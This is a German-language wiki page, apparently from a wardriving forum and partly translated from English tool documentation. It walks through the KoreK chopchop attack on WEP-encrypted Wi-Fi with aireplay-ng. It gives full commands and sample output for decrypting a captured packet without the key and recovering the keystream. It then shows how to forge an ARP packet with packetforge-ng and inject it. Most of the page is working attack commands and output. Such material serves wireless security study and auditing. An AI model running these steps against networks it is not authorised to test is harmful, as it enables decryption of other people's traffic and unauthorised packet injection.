KoreK chopchop Angriff

Aus Wardriving-Forum.de Enzyklopädie

Wechseln zu: Navigation, Suche

Inhaltsverzeichnis

[Bearbeiten] KoreK chopchop

[Bearbeiten] Beschreibung

Dieser Angriff - wenn erfolgreich - kann WEP-Datenpakete entschlüsseln ohne den Schlüssel zu kennen. Das funktioniert auch mit dynamischem WEP. Der Angriff zeigt uns den den Klartext nicht den WEP-Schlüssel selbst.

Einige Access Points sind nicht anfällig für diesen Angriff, andere scheinen auf den ersten Blick anfällig, verwerfen aber Datenpakete kleiner 60 Bytes. Ist das empfangene Paket kleiner als 42 bytes, versucht aireplay-ng den Rest der fehlenden Daten zu erraten soweit der Header das vorhersehen lässt. Sobald ein neues IP-Paket vom AP aufgefangen ist, wird zusätzlich die Checksumme des Headers geprüft um festzustellen ob die fehlenden Daten richtig erraten wurden. Dieser Angriff benötigt mindestens ein WEP-Datenpaket

[Bearbeiten] Beispiel
  aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0

Erklärung:

 *-4 steht für die chopchop Attacke
 *-h 00:09:5B:EC:EE:F2 ist die MAC Adresse des verbundenen Clients oder die eigene MAC Adresse, falls man die fake authentication verwendet
 * -b 00:14:6C:7E:40:80 ist die MAC Adresse des AccessPoints
 *ath0 ist der Name des Wireless Interfaces


Das ist nur eine Möglichkeit, man kann die aireply Filter weiter kombinieren. Typische Filter könnte -m und -n sein, um die minimale und maximale Paketgröße auszuwählen.

Wenn wir die "-h" Option weggelassen, erfolgt ein unautorisierter chopchop Angriff. Siehe das Beispiel unten für nähere Details.

[Bearbeiten] Anwendungsbeispiele

[Bearbeiten] Beispiel mit SampleOutput

Beispiel für eine authenticated chopchop attack. Zuerst müssen wir eine Fake authentication machen und die Source MAC mit der "-h" Option setzen. Essentially this causes all packets to be sent with the source MAC specified by "-h" and the destination MAC will vary with 256 combinations.

  aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0

Erklärung:

 *-4 means the chopchop attack
 *-h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
 * -b 00:14:6C:7E:40:80 is the access point MAC address
 *ath0 is the wireless interface name

Das System antwortet:

       Read 165 packets...
 
          Size: 86, FromDS: 1, ToDS: 0 (WEP)
  
          BSSID  =  00:14:6C:7E:40:80
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
          Source MAC  =  00:40:F4:77:E5:C9
  
          0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
          0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
          0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
          0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
          0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
          0x0050:  cfeb 4a72 be46                           ..Jr.F
 
  Use this packet ? y

Wir drücken "y" und das Programm macht weiter...

  Saving chosen packet in replay_src-0201-191639.cap
  
  Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
  Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
  Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
  Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
  Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
  Offset   80 ( 9% done) | xor = CF | pt = 00 |  152 frames written in   456ms
  Offset   79 (11% done) | xor = 05 | pt = 00 |   29 frames written in    87ms
  Offset   78 (13% done) | xor = 69 | pt = 00 |  151 frames written in   454ms
  Offset   77 (15% done) | xor = CA | pt = 00 |   24 frames written in    71ms
  Offset   76 (17% done) | xor = 65 | pt = 00 |  129 frames written in   387ms
  Offset   75 (19% done) | xor = 9E | pt = 00 |   36 frames written in   108ms
  Offset   74 (21% done) | xor = 72 | pt = 00 |   39 frames written in   117ms
  Offset   73 (23% done) | xor = 01 | pt = 00 |  146 frames written in   438ms
  Offset   72 (25% done) | xor = 71 | pt = 00 |   83 frames written in   249ms
  Offset   71 (26% done) | xor = A1 | pt = 00 |   43 frames written in   129ms
  Offset   70 (28% done) | xor = 3E | pt = 00 |   98 frames written in   294ms
  Offset   69 (30% done) | xor = BB | pt = 00 |  129 frames written in   387ms
  Offset   68 (32% done) | xor = AE | pt = 00 |  248 frames written in   744ms
  Offset   67 (34% done) | xor = FB | pt = 00 |  105 frames written in   315ms
  Offset   66 (36% done) | xor = 43 | pt = 00 |  101 frames written in   303ms
  Offset   65 (38% done) | xor = D4 | pt = 00 |  158 frames written in   474ms
  Offset   64 (40% done) | xor = 16 | pt = 00 |  197 frames written in   591ms
  Offset   63 (42% done) | xor = 7F | pt = 0C |   72 frames written in   217ms
  Offset   62 (44% done) | xor = 1F | pt = 37 |  166 frames written in   497ms
  Offset   61 (46% done) | xor = 5C | pt = A8 |  119 frames written in   357ms
  Offset   60 (48% done) | xor = 9B | pt = C0 |  229 frames written in   687ms
  Offset   59 (50% done) | xor = 91 | pt = 00 |  113 frames written in   339ms
  Offset   58 (51% done) | xor = 25 | pt = 00 |  184 frames written in   552ms
  Offset   57 (53% done) | xor = 94 | pt = 00 |   33 frames written in    99ms
  Offset   56 (55% done) | xor = F3 | pt = 00 |  193 frames written in   579ms
  Offset   55 (57% done) | xor = D6 | pt = 00 |   17 frames written in    51ms
  Offset   54 (59% done) | xor = FA | pt = 00 |   81 frames written in   243ms
  Offset   53 (61% done) | xor = EA | pt = 01 |   95 frames written in   285ms
  Offset   52 (63% done) | xor = 5D | pt = 37 |   24 frames written in    72ms
  Offset   51 (65% done) | xor = 33 | pt = A8 |   20 frames written in    59ms
  Offset   50 (67% done) | xor = CC | pt = C0 |   97 frames written in   291ms
  Offset   49 (69% done) | xor = 03 | pt = C9 |  188 frames written in   566ms
  Offset   48 (71% done) | xor = 34 | pt = E5 |   48 frames written in   142ms
  Offset   47 (73% done) | xor = 34 | pt = 77 |   64 frames written in   192ms
  Offset   46 (75% done) | xor = 51 | pt = F4 |  253 frames written in   759ms
  Offset   45 (76% done) | xor = 98 | pt = 40 |  109 frames written in   327ms
  Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
  Offset   43 (80% done) | xor = 5E | pt = 01 |  194 frames written in   583ms
  Offset   42 (82% done) | xor = AF | pt = 00 |   99 frames written in   296ms
  Offset   41 (84% done) | xor = C4 | pt = 04 |  164 frames written in   492ms
  Offset   40 (86% done) | xor = CE | pt = 06 |   69 frames written in   207ms
  Offset   39 (88% done) | xor = 9D | pt = 00 |  137 frames written in   411ms
  Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
  Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
  Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
  Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
  Sent 957 packets, current guess: B9...
  
  The AP appears to drop packets shorter than 35 bytes.
  Enabling standard workaround: ARP header re-creation.
  
  Saving plaintext in replay_dec-0201-191706.cap
  Saving keystream in replay_dec-0201-191706.xor
  
  Completed in 21s (2.29 bytes/s)

Perfekt ! Das File "replay_dec-0201-191706.xor" kann im nächsten Step dazu benutzt werden um ein gültiges Paket zu erstellen, z.B. ein ARP-Paket mit packetforge-ng.


Man könnte sich auch mit tcpdump oder Ethereal das entschlüsselt Paket in replay_dec-0201-191706.cap ansehen. You may also use tcpdump or Wireshark to view the decrypted packet which is stored in replay_dec-0201-191706.cap.

[Bearbeiten] Chopchop ohne Authentifizierung

Dieses Beispiel erklärt, wie man den KoreK-Chopchop - Angriff ohne angemeldete MAC - Adresse durchführt ("-h") Die Daten werden so an eine zufällige MAC Adresse gesendet. Dies funktioniert nur mit sehr wenigen APs.Sollte es mit deinem AP funktionieren, verwende folgenden Befehl:

  aireplay-ng -4 -b 00:14:6C:7E:40:80 ath0

Aufschlüsselung:

 *-4 : Chopchop-Attacke
 * -b 00:14:6C:7E:40:80 : MAC Adresse des APs
 *ath0: Der Name des WLAN-Geräts

[Bearbeiten] Ein ARP-Paket erstellen

1. Zuerst entschlüsseln wir ein Paket.

     aireplay-ng -4 ath0

Sollte das nicht funktionieren, müssen wir die MAC Adresse des APs angeben:

     aireplay-ng -4 -b 00:09:5B:EB:C5:2B ath0

2. Lass uns die IP-Adresse ansehen.

     tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
     reading from file replay_dec-0627-022301.cap, link-type [...]
     IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

3. Dann wird mit packetforge-ng ein Forge-Paket erstellt

Die Quell-IP (192.168.1.100) ist nicht wichtig, aber die IP des AccessPoints (192.168.1.2) muss zu den ARP-Requests gehören. Die Quell-MAQ muss einem angemeldeten Client gehören, sonst werden die Pakete nicht ankommen:

     packetforge-ng replay_dec-0627-022301.xor 1 00:13:10:30:24:9C 00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap

4. Unser Paket wird eingespeist

     aireplay-ng -2 -r arp.cap ath0


[Bearbeiten] Tipps

Wie merke ich, ob ein Paket korrekt ist?

 * Das Paket muss länger als das zu einspeisende Paket sein.
 * You were looking to decrypt a packet to/from a specific client and you would wait for a packet to/from that client MAC address.
 * Wenn du ein kurzes Paket gewählt hast und dieses nicht verwendet werden kann.
[Bearbeiten] weitere Tipps

Alternative Möglichkeiten

 * Fragmentation Attack: Eine alternative Möglichkeit um PRGA-Pakete zu erstellen
 * -p 0841 method: Diese Methode ermöglicht es, ein beliebiges Paket einzuspeisen.